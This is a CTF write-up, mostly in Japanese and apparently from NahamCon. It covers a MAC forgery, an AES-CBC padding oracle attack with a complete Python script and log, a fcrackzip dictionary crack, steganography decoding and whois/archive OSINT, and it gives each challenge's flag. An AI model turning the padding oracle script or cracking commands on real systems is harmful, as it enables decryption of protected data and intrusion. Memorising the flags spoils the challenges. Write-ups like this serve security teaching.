b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x85c\xe5\x7fWXvK\xce\x0f\rk|e\x87\xc2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x85c\xe5\x7fWXvK\xce\x0f\rk|e\x87\xc2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x85c\xe5\x7fWXvK\xce\x0f\rk|e\x87\xc2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x85c\xe5\x7fWXvK\xce\x0f\rk|e\x87\xc2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x85c\xe5\x7fWXvK\xce\x0f\rk|e\x87\xc2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x85c\xe5\x7fWXvK\xce\x0f\rk|e\x87\xc2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x85c\xe5\x7fWXvK\xce\x0f\rk|e\x87\xc2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xc4"\xa4>\x16\x197\n\x8fNL*=$\xc6\x83' Oh very nice! Message = {msg} Tag = {tag} Length = {len(data)} Cheesy MAC ;). flag{76a74e3680aea8675a3ae1421a9993eb}
flag{76a74e3680aea8675a3ae1421a9993eb}
Pee Kay See Ess 7 (Cryptography)
$ nc challenge.nahamcon.com 30268 Добро пожаловать! This is an AES-CBC decryption validation oracle. Send us a ciphertext and we'll let you know if it's valid or not. /------------------------\ | AES-CBC Oracle MENU: | | (0) Validate my ct | | (1) Exit | \------------------------/ Choice: 0 Send your ct (hex): f69f5206cf194380e88d084c8cb1e95f0422b6a71dc8fa3955f4379e079e0f28e83811d64abe32fdbca60d49d1112b68039d584a9298fb15e3fd750794f90b3c valid /------------------------\ | AES-CBC Oracle MENU: | | (0) Validate my ct | | (1) Exit | \------------------------/ Choice: 0 Send your ct (hex): f69f5206cf194380e88d084c8cb1e95f0422b6a71dc8fa3955f4379e079e0f28e83811d64abe32fdbca60d49d1112b68039d584a9298fb15e3fd750794f90b3d not valid /------------------------\ | AES-CBC Oracle MENU: | | (0) Validate my ct | | (1) Exit | \------------------------/ Choice:
AES CBC Padding Oracle Attackで添付の暗号を復号する。
#!/usr/bin/env python3 import socket from Crypto.Util.strxor import strxor from Crypto.Util.Padding import unpad def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) def is_valid(s, ct): data = recvuntil(s, b'Choice: ') print(data + '0') s.sendall(b'0\n') data = recvuntil(s, b': ') print(data + ct) s.sendall(ct.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) if data != 'not valid': return True else: return False s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('challenge.nahamcon.com', 30268)) with open('ct.hex', 'r') as f: ct = bytes.fromhex(f.read().rstrip()) ct_blocks = [ct[i:i+16] for i in range(0, len(ct), 16)] xor_blocks = [] for i in range(1, len(ct_blocks)): xor_block = b'' for j in range(16): for code in range(256): print('[+] %d - %d - %d: %s' % (i, j, code, xor_block.hex())) if j > 0: print('****', strxor(xor_block, ct_blocks[i-1][-j:]), '****') try_pre_block = b'\x00' * (16 - j - 1) + bytes([code]) + strxor(xor_block, bytes([j + 1]) * j) try_cipher = (try_pre_block + ct_blocks[i]).hex() if is_valid(s, try_cipher): xor_code = (j + 1) ^ code xor_block = bytes([xor_code]) + xor_block break xor_blocks.append(xor_block) flag = b'' for i in range(len(xor_blocks)): flag += strxor(ct_blocks[i], xor_blocks[i]) flag = unpad(flag, 16).decode() print('[*] flag:', flag)
実行結果は以下の通り。
[+] 1 - 0 - 0: Добро пожаловать! This is an AES-CBC decryption validation oracle. Send us a ciphertext and we'll let you know if it's valid or not. /------------------------\ | AES-CBC Oracle MENU: | | (0) Validate my ct | | (1) Exit | \------------------------/ Choice: 0 Send your ct (hex): 000000000000000000000000000000000422b6a71dc8fa3955f4379e079e0f28 not valid [+] 1 - 0 - 1: /------------------------\ | AES-CBC Oracle MENU: | | (0) Validate my ct | | (1) Exit | \------------------------/ Choice: 0 Send your ct (hex): 000000000000000000000000000000010422b6a71dc8fa3955f4379e079e0f28 not valid : : [+] 3 - 15 - 192: 0f77e02cc338f7b6ac0743db1b2162 **** b'7f6f}\n\n\n\n\n\n\n\n\n\n' **** /------------------------\ | AES-CBC Oracle MENU: | | (0) Validate my ct | | (1) Exit | \------------------------/ Choice: 0 Send your ct (hex): c01f67f03cd328e7a6bc1753cb0b3172039d584a9298fb15e3fd750794f90b3c not valid [+] 3 - 15 - 193: 0f77e02cc338f7b6ac0743db1b2162 **** b'7f6f}\n\n\n\n\n\n\n\n\n\n' **** /------------------------\ | AES-CBC Oracle MENU: | | (0) Validate my ct | | (1) Exit | \------------------------/ Choice: 0 Send your ct (hex): c11f67f03cd328e7a6bc1753cb0b3172039d584a9298fb15e3fd750794f90b3c valid [*] flag: flag{0b1a83a2f3d2836b5059c31166c97f6f}
flag{0b1a83a2f3d2836b5059c31166c97f6f}
A Wild Ride (Forensics)
$ fcrackzip -u -D -p dict/rockyou.txt gpx.zip PASSWORD FOUND!!!!: pw == crackme
このパスワードで解凍すると、たんさんの*.gpxファイルが展開される。https://ctyo.github.io/JourneyMap/にすべてのファイルを取り込んでみる。ルートでフラグ文字列になっているので、何とか読み取る。
FLAG{gpx_is_cool}
Steam Locomotive (Misceallaneous)
$ ssh -p 32247 user@challenge.nahamcon.com The authenticity of host '[challenge.nahamcon.com]:32247 ([34.123.79.100]:32247)' can't be established. ECDSA key fingerprint is SHA256:xQ31F0F0VPFiMinVHvQLJirFl0xLWoD7uxiYL44kIq4. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '[challenge.nahamcon.com]:32247,[34.123.79.100]:32247' (ECDSA) to the list of known hosts. user@challenge.nahamcon.com's password: Connection to challenge.nahamcon.com closed.
接続したら、ASCIIアートでSLが走っていき、切断された。直接リモートでコマンド実行してみる。
$ ssh -p 32247 user@challenge.nahamcon.com ls -l user@challenge.nahamcon.com's password: total 4 -r-------- 1 user user 39 Apr 24 16:44 flag.txt $ ssh -p 32247 user@challenge.nahamcon.com cat flag.txt user@challenge.nahamcon.com's password: flag{4f9b10a81141c7a07a494c28bd91d05b}
flag{4f9b10a81141c7a07a494c28bd91d05b}
Ostrich (Steganography)
スクリプトの処理概要は以下の通り。
・orig_image: "ostrich.jpg"の画像情報読み込み ・flagの長さだけ以下繰り返し ・x: 画像幅の範囲のランダム値 ・y: 画像高さの範囲のランダム値 ・pixel: (x, y)のRGB値 ・B(青)の値が0の場合は、以下の実行を繰り返す。 ・x: 画像幅の範囲のランダム値 ・y: 画像高さの範囲のランダム値 ・pixel: (x, y)のRGB値 ・new_val: Bの値 * flagのi番目の文字のASCIIコード →計算結果を文字列化 ・Rの値: new_val[0] ・Gの値: new_valの長さが1より大きい場合、new_val[1] ・Bの値: 0 ・(x, y)のRGB値を設定
apngの各フレーム画像で元の画像と比較し、差分から算出し、1文字ずつフラグを算出する。
#!/usr/bin/env python3 from PIL import Image from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l from apng import APNG res = APNG.open('result.apng') for i, (png, control) in enumerate(res.frames): png.save('result_{i}.png'.format(i=i)) orig_img = Image.open('ostrich.jpg').convert('RGB') w, h = orig_img.size flag = '' for i in range(len(res.frames)): img = Image.open('result_{i}.png'.format(i=i)).convert('RGB') for y in range(h): for x in range(w): r0, g0, b0 = orig_img.getpixel((x, y)) r1, g1, b1 = img.getpixel((x, y)) if r0 != r1 or g0 != g1 or b0 != b1: assert b1 == 0 if g0 == g1: new_val = bytes([r1]) else: new_val = bytes([r1]) + bytes([g1]) flag += chr(b2l(new_val) // b0) break print(flag)
flag{d3a5b80f96a3ce0dd0aedbefbc6b1fa1}
Keeber 1 (OSINT)
ドメインは keebersecuritygroup.com であることはすぐにわかる。
$ whois keebersecuritygroup.com | grep Registrant Registry Registrant ID: Not Available From Registry Registrant Name: flag{ef67b2243b195eba43c7dc797b75d75b} Redacted Registrant Organization: Registrant Street: 8 Apple Lane Registrant City: Standish Registrant State/Province: ME Registrant Postal Code: 04084 Registrant Country: US Registrant Phone: Non-Public Data Registrant Email: https://www.name.com/contact-domain-whois/keebersecuritygroup.com/registrant
Registrant Nameにフラグが設定されていた。
flag{ef67b2243b195eba43c7dc797b75d75b}
Keeber 2 (OSINT)
Internet Archiveで https://keebersecuritygroup.com/team/ を検索する。2022年4月に3回取られているようなので、とりあえず2022/4/19のものを見てみる。
Tiffany Douglasの枠にフラグが書かれていた。
flag{cddb59d78a6d50905340a62852e315c9}